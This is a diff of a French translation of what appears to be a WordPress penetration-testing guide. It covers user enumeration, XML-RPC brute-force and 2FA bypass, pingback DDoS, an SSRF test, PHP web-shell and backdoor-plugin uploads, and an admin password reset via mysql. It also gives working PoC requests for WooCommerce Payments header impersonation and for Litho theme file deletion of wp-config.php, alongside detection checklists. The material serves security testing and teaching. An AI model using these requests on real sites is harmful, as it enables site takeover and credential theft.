+Post exploitation -- Le fichier `wp-config.php` contient les informations nécessaires à WordPress pour se connecter à la base de données telles que le nom de la base, l'hôte de la base, le nom d'utilisateur et le mot de passe, les clés d'authentification et salts, et le préfixe des tables de la base. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage. +- Le fichier `wp-config.php` contient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base, l'hôte de la base, le nom d'utilisateur et le mot de passe, les clés d'authentification et salts, et le préfixe des tables de la base. Ce fichier de configuration peut aussi être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le troubleshooting. ### Permissions des utilisateurs - **Administrator** -- **Editor** : Publie et gère ses propres posts ainsi que ceux des autres +- **Editor** : Publie et gère ses propres posts et ceux des autres - **Author** : Publie et gère ses propres posts - **Contributor** : Rédige et gère ses posts mais ne peut pas les publier - **Subscriber** : Parcourt les posts et édite son profil -## **Énumération passive** +## **Passive Enumeration** -### **Obtenir la version de WordPress** +### **Get WordPress version** Vérifiez si vous pouvez trouver les fichiers `/license.txt` ou `/readme.html` -Dans le **code source** de la page (exemple depuis [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Dans le **source code** de la page (exemple depuis [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (1111).png>) -- Fichiers CSS liés +- Fichiers CSS (link) ![](<../../images/image (533).png>) @@ -68,7 +68,7 @@ curl https://victim.com/ | grep 'content="WordPress' ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Obtenir les thèmes +### Récupérer les thèmes ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -81,17 +81,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Plugins and Themes -Vous ne pourrez probablement pas trouver tous les Plugins and Themes possibles. Pour tous les découvrir, vous devrez **Brute Force activement une liste de Plugins and Themes** (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes). +Vous n'arriverez probablement pas à trouver tous les Plugins and Themes possibles. Pour les découvrir, vous devrez **effectuer activement un Brute Force** d'une liste de Plugins and Themes (espérons pour nous qu'il existe des outils automatisés contenant ces listes). -### Utilisateurs +### Users - **ID Brute:** Vous obtenez des utilisateurs valides d'un site WordPress en Brute Forcing les IDs des utilisateurs : ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Si les réponses sont **200** ou **30X**, cela signifie que l'**id** est **valide**. Si la réponse est **400**, alors l'**id** est **invalide**. +Si les réponses sont **200** ou **30X**, cela signifie que l'id est **valide**. Si la réponse est **400**, alors l'id est **invalide**. -- **wp-json:** Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant : +- **wp-json:** Vous pouvez aussi essayer d'obtenir des informations sur les utilisateurs en interrogeant : ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` @@ -99,15 +99,15 @@ Un autre endpoint `/wp-json/` qui peut révéler certaines informations sur les ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. **Seules les informations concernant les utilisateurs pour lesquels cette fonctionnalité est activée seront fournies**. +Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. **Seules les informations concernant les utilisateurs qui ont cette fonctionnalité activée seront fournies**. -Notez également que **/wp-json/wp/v2/pages** pourrait leak des adresses IP. +Notez aussi que **/wp-json/wp/v2/pages** pourrait leak des adresses IP. -- **Login username enumeration** : Lors de la connexion via **`/wp-login.php`**, le **message** est **différent** selon qu'il indique si le **username** existe ou non. +- **Login username enumeration** : Lors de la connexion via **`/wp-login.php`**, le **message** est **différent** selon qu'il indique que le **username** existe ou non. ### XML-RPC -Si `xml-rpc.php` est actif, vous pouvez effectuer un credentials brute-force ou l'utiliser pour lancer des attaques DoS vers d'autres ressources. (Vous pouvez automatiser ce processus [en utilisant ceci](https://github.com/relarizky/wpxploit) par exemple). +Si `xml-rpc.php` est actif, vous pouvez effectuer un brute-force de credentials ou l'utiliser pour lancer des attaques DoS vers d'autres ressources. (Vous pouvez automatiser ce processus[ using this](https://github.com/relarizky/wpxploit) par exemple). Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête : @@ -122,7 +122,7 @@ Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoye **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour brute-force des credentials. Si vous pouvez en trouver une, vous pouvez envoyer quelque chose comme : +**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes pouvant être utilisées pour brute-force credentials. Si vous en trouvez une, vous pouvez envoyer quelque chose comme : ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoye ``` -Le message _"Incorrect username or password"_ dans une réponse avec code 200 doit apparaître si les identifiants ne sont pas valides. +Le message _"Incorrect username or password"_ dans une réponse avec code 200 devrait apparaître si les identifiants ne sont pas valides. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -En utilisant les bons identifiants vous pouvez upload a file. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Avec les bons identifiants vous pouvez téléverser un fichier. Dans la réponse le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ En utilisant les bons identifiants vous pouvez upload a file. Dans la réponse, ``` -Il existe aussi une **méthode plus rapide** pour brute-force des credentials en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs credentials dans la même requête : +Il existe aussi une **méthode plus rapide** pour brute-force des credentials en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs credentials dans une seule requête :
**Bypass 2FA** -Cette méthode est destinée aux programmes et non aux humains, et elle est ancienne ; par conséquent elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'accès principal est protégé par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour login avec ces creds en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions possibles via la console, mais vous pourrez peut-être tout de même atteindre la RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'accès principal est protégé par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour vous connecter avec ces creds en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions disponibles via la console, mais vous pourriez quand même obtenir une RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** -Si vous trouvez la méthode _**pingback.ping**_ dans la liste, vous pouvez faire envoyer par Wordpress une requête arbitraire vers n'importe quel hôte/port.\ -On peut s'en servir pour demander à des **milliers** de **sites** Wordpress d'**accéder** à une même **cible** (ce qui provoque un **DDoS** vers cette destination), ou bien vous pouvez l'utiliser pour faire **Wordpress** **scanner** un **réseau** interne (vous pouvez indiquer n'importe quel port). +Si vous trouvez la méthode _**pingback.ping**_ dans la liste vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel host/port.\ +Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** à un **même emplacement** (causant ainsi un **DDoS** à cet endroit) ou vous pouvez l'utiliser pour faire **Wordpress** **scan** un **réseau** interne (vous pouvez indiquer n'importe quel port). ```html pingback.ping @@ -193,7 +193,7 @@ On peut s'en servir pour demander à des **milliers** de **sites** Wordpress d'* Si vous obtenez **faultCode** avec une valeur **supérieure** à **0** (17), cela signifie que le port est ouvert. -Regardez l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS. +Consultez l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS. **DDoS** ```html @@ -210,14 +210,14 @@ Regardez l'utilisation de **`system.multicall`** dans la section précédente po ### wp-cron.php DoS Ce fichier existe généralement à la racine du site Wordpress : **`/wp-cron.php`**\ -Lorsque ce fichier est **accédé**, une **heavy** MySQL **query** est exécutée, il peut donc être utilisé par des **attackers** pour **causer** un **DoS**.\ -De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (chaque fois qu'un client demande une page Wordpress), ce qui sur des sites à fort trafic peut provoquer des problèmes (DoS). +Lorsque ce fichier est **accessed**, une requête MySQL **heavy** est exécutée, il peut donc être utilisé par des **attackers** pour **cause** un **DoS**.\ +De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (anytime a client requests any Wordpress page), ce qui, sur des sites high-traffic, peut causer des problèmes (DoS). -Il est recommandé de désactiver Wp-Cron et de créer un vrai cronjob sur l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes). +Il est recommandé de désactiver Wp-Cron et de créer un véritable cronjob sur l'hôte qui exécutera les actions nécessaires à des intervalles réguliers (without causing issues). ### /wp-json/oembed/1.0/proxy - SSRF -Essayez d'accéder à _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Worpress peut effectuer une requête vers vous. +Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Wordpress peut effectuer une requête vers vous. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Cet outil vérifie si **methodName: pingback.ping** et le chemin **/wp-json/oembed/1.0/proxy** sont présents, et s'ils existent, il tente de les exploiter. +Cet outil vérifie si le **methodName: pingback.ping** et le chemin **/wp-json/oembed/1.0/proxy** existent, et si c'est le cas, il tente de les exploiter. ## Outils automatiques ```bash @@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Obtenir l'accès en modifiant un bit -Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) vous pouviez inverser 1 bit de n'importe quel fichier wordpress. Ainsi, vous pouviez inverser le bit à la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour transformer l'opération NOT (`!`) en NOP. +Plus une curiosité qu'une vraie attaque. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) vous pouviez inverser 1 bit dans n'importe quel fichier wordpress. Ainsi vous pouviez inverser la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour NOP l'opération NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` -## **Panneau RCE** +## **Panel RCE** -**Modifier un fichier php du thème utilisé (identifiants admin requis)** +**Modification d'un php du thème utilisé (identifiants admin nécessaires)** Apparence → Éditeur de thème → Modèle 404 (à droite) -Remplacez le contenu par un php shell: +Remplacez le contenu par un php shell : ![](<../../images/image (384).png>) -Cherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Cherchez sur Internet comment accéder à la page mise à jour. Dans ce cas, vous devez accéder ici : [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -269,7 +269,7 @@ pour obtenir une session. ### PHP plugin -Il peut être possible d'uploader des fichiers .php en tant que plugin.\ +Il peut être possible de téléverser des fichiers .php en tant que plugin.\ Créez votre backdoor php en utilisant par exemple : ![](<../../images/image (183).png>) @@ -278,7 +278,7 @@ Puis ajoutez un nouveau plugin : ![](<../../images/image (722).png>) -Upload plugin et cliquez sur Install Now : +Téléversez le plugin et appuyez sur Install Now : ![](<../../images/image (249).png>) @@ -286,7 +286,7 @@ Cliquez sur Procced : ![](<../../images/image (70).png>) -Probablement cela ne fera apparemment rien, mais si vous allez dans Media, vous verrez votre shell uploadé : +Probablement cela n'affichera rien apparemment, mais si vous allez dans Media, vous verrez votre shell téléversé : ![](<../../images/image (462).png>) @@ -296,30 +296,30 @@ Accédez-y et vous verrez l'URL pour exécuter le reverse shell : ### Uploading and activating malicious plugin -Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le dashboard WordPress comme suit : +Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le WordPress dashboard comme suit : -1. **Plugin Acquisition** : Le plugin est obtenu depuis une source comme Exploit DB comme [**here**](https://www.exploit-db.com/exploits/36374). -2. **Plugin Installation** : -- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`. -- Upload the zip file of the downloaded plugin. -3. **Plugin Activation** : Une fois le plugin installé avec succès, il doit être activé via le dashboard. -4. **Exploitation** : -- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable. -- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site. -- It's noted that this is just one of the many methods to exploit a WordPress site. +1. **Acquisition du plugin**: Le plugin est obtenu depuis une source comme Exploit DB, par exemple [**here**](https://www.exploit-db.com/exploits/36374). +2. **Installation du plugin**: +- Allez dans le WordPress dashboard, puis allez à `Dashboard > Plugins > Upload Plugin`. +- Téléversez le fichier zip du plugin téléchargé. +3. **Activation du plugin**: Une fois le plugin installé avec succès, il doit être activé via le dashboard. +4. **Exploitation**: +- Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable. +- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site. +- Il est noté qu'il s'agit juste d'une des nombreuses méthodes pour exploiter un site WordPress. -Le contenu inclut des aides visuelles montrant les étapes dans le dashboard WordPress pour l'installation et l'activation du plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec une permission explicite. +Le contenu inclut des aides visuelles décrivant les étapes dans le WordPress dashboard pour l'installation et l'activation du plugin. Cependant, il est important de noter qu'exploiter des vulnérabilités de cette manière est illégal et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme des tests d'intrusion avec permission explicite. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## De XSS à RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** vers **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité de **Cross-Site Scripting (XSS)** vers **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos consultez [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il prend en charge les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de : - _**Privilege Escalation:**_ Crée un utilisateur dans WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload votre plugin personnalisé (backdoor) vers WordPress. -- _**(RCE) Built-In Plugin Edit:**_ Édite un Built-In Plugin dans WordPress. -- _**(RCE) Built-In Theme Edit:**_ Édite un Built-In Theme dans WordPress. -- _**(Custom) Custom Exploits:**_ Exploits personnalisés pour des plugins/themes tiers WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Téléversez votre plugin personnalisé (backdoor) sur WordPress. +- _**(RCE) Built-In Plugin Edit:**_ Éditer un plugin intégré dans WordPress. +- _**(RCE) Built-In Theme Edit:**_ Éditer un thème intégré dans WordPress. +- _**(Custom) Custom Exploits:**_ Exploits personnalisés pour des plugins/thèmes WordPress tiers. ## Post Exploitation @@ -331,29 +331,29 @@ Changer le mot de passe admin : ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -## Wordpress Plugins Pentest +## Pentest des plugins Wordpress ### Surface d'attaque -Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités. Vous trouverez comment un plugin peut exposer des fonctionnalités dans les points suivants, ainsi que des exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités. Vous pouvez trouver comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des AJAX handlers. Ceux-ci peuvent contenir des bugs de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un wordpress nonce que **tout utilisateur authentifié dans l'instance Wordpress peut posséder** (indépendamment de son rôle). +L'un des moyens pour un plugin d'exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des bugs de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un nonce Wordpress que **tout utilisateur authentifié sur l'instance Wordpress pourrait posséder** (indépendamment de son rôle). Voici les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin : ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**L'utilisation de `nopriv` rend l'endpoint accessible par tous les utilisateurs (même non authentifiés).** +**L'utilisation de `nopriv` rend l'endpoint accessible à tous les utilisateurs (même les utilisateurs non authentifiés).** > [!CAUTION] -> De plus, si la fonction ne vérifie l'autorisation de l'utilisateur qu'avec la fonction `wp_verify_nonce`, cette fonction ne fait que vérifier que l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs à faible privilèges peuvent avoir accès à des actions à privilèges élevés. +> De plus, si la fonction vérifie seulement l'autorisation de l'utilisateur avec la fonction `wp_verify_nonce`, cette fonction vérifie uniquement que l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Donc des utilisateurs peu privilégiés pourraient avoir accès à des actions réservées aux utilisateurs à privilèges élevés. - **REST API** -Il est également possible d'exposer des fonctions de WordPress en enregistrant une REST API avec la fonction `register_rest_route` : +Il est également possible d'exposer des fonctions de wordpress en enregistrant une REST API en utilisant la fonction `register_rest_route` : ```php register_rest_route( $this->namespace, '/get/', array( @@ -369,14 +369,14 @@ Le `permission_callback` est une fonction de rappel qui vérifie si un utilisate - **Accès direct au fichier php** -Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable déclenchée simplement en accédant au fichier, elle pourra être exploitée par n'importe quel utilisateur. +Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, cela sera exploitable par n'importe quel utilisateur. -### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) +### Usurpation REST via trusted-header (WooCommerce Payments ≤ 5.6.1) -Certains plugins implémentent des raccourcis de « trusted header » pour des intégrations internes ou des reverse proxies, puis utilisent cet en-tête pour définir le contexte utilisateur courant des requêtes REST. Si l'en-tête n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et atteindre des routes REST privilégiées en tant qu'administrateur. +Certains plugins implémentent des raccourcis “trusted header” pour des intégrations internes ou des reverse proxies, puis utilisent cet en-tête pour définir le contexte utilisateur courant pour les requêtes REST. Si l'en-tête n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et atteindre des routes REST privilégiées en tant qu'administrateur. -- Impact : élévation de privilèges non authentifiée vers admin en créant un nouvel administrateur via la core users REST route. -- En-tête d'exemple : `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, typiquement le premier compte administrateur). +- Impact : élévation de privilèges non authentifiée jusqu'au rôle admin en créant un nouvel administrateur via la core users REST route. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, typiquement le premier compte administrateur). - Route exploitée : `POST /wp-json/wp/v2/users` avec un tableau de rôle élevé. PoC @@ -391,28 +391,28 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -Pourquoi ça fonctionne +Pourquoi cela fonctionne -- Le plugin mappe un header contrôlé par le client à l'état d'authentification et saute les vérifications de capacités. -- WordPress core attend la capacité `create_users` pour cette route ; le hack du plugin la contourne en définissant directement le contexte de l'utilisateur courant depuis le header. +- Le plugin mappe un header contrôlé par le client à l'état d'authentification et saute les capability checks. +- WordPress core attend la capability `create_users` pour cette route ; le hack du plugin la bypass en définissant directement le contexte de l'utilisateur courant à partir du header. -Indicateurs de succès attendus +Expected success indicators -- HTTP 201 avec un corps JSON décrivant l'utilisateur créé. +- HTTP 201 avec un body JSON décrivant l'utilisateur créé. - Un nouvel utilisateur admin visible dans `wp-admin/users.php`. -Checklist de détection +Detection checklist -- Grep pour `getallheaders()`, `$_SERVER['HTTP_...']`, ou des vendor SDKs qui lisent des headers personnalisés pour définir le contexte utilisateur (par ex. `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Revoir les enregistrements REST pour des callbacks privilégiés qui n'ont pas de vérifications robustes de `permission_callback` et se reposent plutôt sur les headers de la requête. -- Chercher des usages des fonctions core de gestion des utilisateurs (`wp_insert_user`, `wp_create_user`) à l'intérieur des handlers REST qui ne sont filtrés que par des valeurs de header. +- Grep pour `getallheaders()`, `$_SERVER['HTTP_...']`, ou des vendor SDKs qui lisent des headers custom pour définir le contexte utilisateur (par ex., `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Revoir les REST registrations pour des callbacks privilégiés qui n'ont pas de vérifications robustes de `permission_callback` et qui se fient à la place aux headers de la requête. +- Chercher les usages des fonctions core de gestion d'utilisateurs (`wp_insert_user`, `wp_create_user`) dans des handlers REST qui sont protégés uniquement par des valeurs de header. -### Suppression arbitraire de fichiers sans authentification via wp_ajax_nopriv (Litho Theme <= 3.0) +### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) -Les thèmes et plugins WordPress exposent fréquemment des handlers AJAX via les hooks `wp_ajax_` et `wp_ajax_nopriv_`. Lorsque la variante **_nopriv_** est utilisée **le callback devient accessible aux visiteurs non authentifiés**, donc toute action sensible doit en plus implémenter : +WordPress themes et plugins exposent fréquemment des AJAX handlers via les hooks `wp_ajax_` et `wp_ajax_nopriv_`. Quand la variante **_nopriv_** est utilisée **le callback devient accessible aux visiteurs non authentifiés**, donc toute action sensible doit en plus implémenter : -1. Une **vérification des capacités** (par ex. `current_user_can()` ou au moins `is_user_logged_in()`), et -2. Un **nonce CSRF** validé avec `check_ajax_referer()` / `wp_verify_nonce()`, et +1. Un **capability check** (par ex. `current_user_can()` ou au minimum `is_user_logged_in()`), et +2. Un **CSRF nonce** validé avec `check_ajax_referer()` / `wp_verify_nonce()`, et 3. **Assainissement / validation stricte des entrées**. Le thème multipurpose Litho (< 3.1) a oublié ces 3 contrôles dans la fonctionnalité *Remove Font Family* et a fini par livrer le code suivant (simplifié) : @@ -437,8 +437,8 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove Problèmes introduits par cet extrait : * **Accès non authentifié** – le `wp_ajax_nopriv_` hook est enregistré. -* **Pas de nonce / capability check** – n'importe quel visiteur peut atteindre l'endpoint. -* **Pas de path sanitisation** – la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin filesystem sans filtrage, permettant le classique `../../` traversal. +* **Pas de vérification du nonce / capability** – n'importe quel visiteur peut atteindre l'endpoint. +* **Pas de sanitisation du chemin** – la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin du système de fichiers sans filtrage, permettant le classique parcours `../../`. #### Exploitation @@ -448,23 +448,23 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Parce que `wp-config.php` se trouve en dehors de *uploads*, quatre séquences `../` suffisent sur une installation par défaut. Supprimer `wp-config.php` force WordPress à lancer l'*installation wizard* lors de la visite suivante, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin). +Parce que `wp-config.php` se trouve en dehors de *uploads*, quatre séquences `../` suffisent sur une installation par défaut. La suppression de `wp-config.php` force WordPress à lancer l'*assistant d'installation* lors de la visite suivante, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin). -D'autres cibles impactantes incluent les fichiers plugin/theme `.php` (pour neutraliser des plugins de sécurité) ou les règles `.htaccess`. +D'autres cibles impactantes incluent les fichiers `.php` de plugins/themes (pour neutraliser des plugins de sécurité) ou les règles `.htaccess`. #### Checklist de détection -* Tout callback `add_action( 'wp_ajax_nopriv_...')` qui appelle des helpers du système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). -* Concatenation d'entrées utilisateur non assainies dans des chemins (recherchez `$_POST`, `$_GET`, `$_REQUEST`). +* Tout callback `add_action( 'wp_ajax_nopriv_...')` qui appelle des fonctions d'accès au système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). +* Concaténation d'entrées utilisateur non assainies dans des chemins (rechercher `$_POST`, `$_GET`, `$_REQUEST`). * Absence de `check_ajax_referer()` et de `current_user_can()`/`is_user_logged_in()`. --- -### Élévation de privilèges via une restauration de rôle obsolète et absence d'autorisation (ASE "View Admin as Role") +### Escalade de privilèges via restauration de rôle obsolète et absence d'autorisation (ASE "View Admin as Role") -Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. +Beaucoup de plugins implémentent une fonctionnalité "view as role" ou de changement temporaire de rôle en sauvegardant le(s) rôle(s) original(aux) dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration s'appuie uniquement sur des paramètres de requête (par ex. `$_REQUEST['reset-for']`) et sur une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une escalade verticale de privilèges. -Un exemple réel a été trouvé dans le Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). La branche de reset restaurait les rôles basés sur `reset-for=` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'exécutait ni vérification `current_user_can()` ni vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés depuis le user meta `_asenha_view_admin_as_original_roles` : +Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles basés sur `reset-for=` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'effectuait ni vérification `current_user_can()` ni vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés dans les user meta `_asenha_view_admin_as_original_roles` : ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -479,11 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Pourquoi c’est exploitable +Pourquoi c'est exploitable -- Fait confiance à `$_REQUEST['reset-for']` et à une option du plugin sans autorisation côté serveur. -- Si un utilisateur avait précédemment des privilèges plus élevés enregistrés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en appelant le chemin de reset. -- Dans certains déploiements, tout utilisateur authentifié pouvait déclencher un reset pour un autre 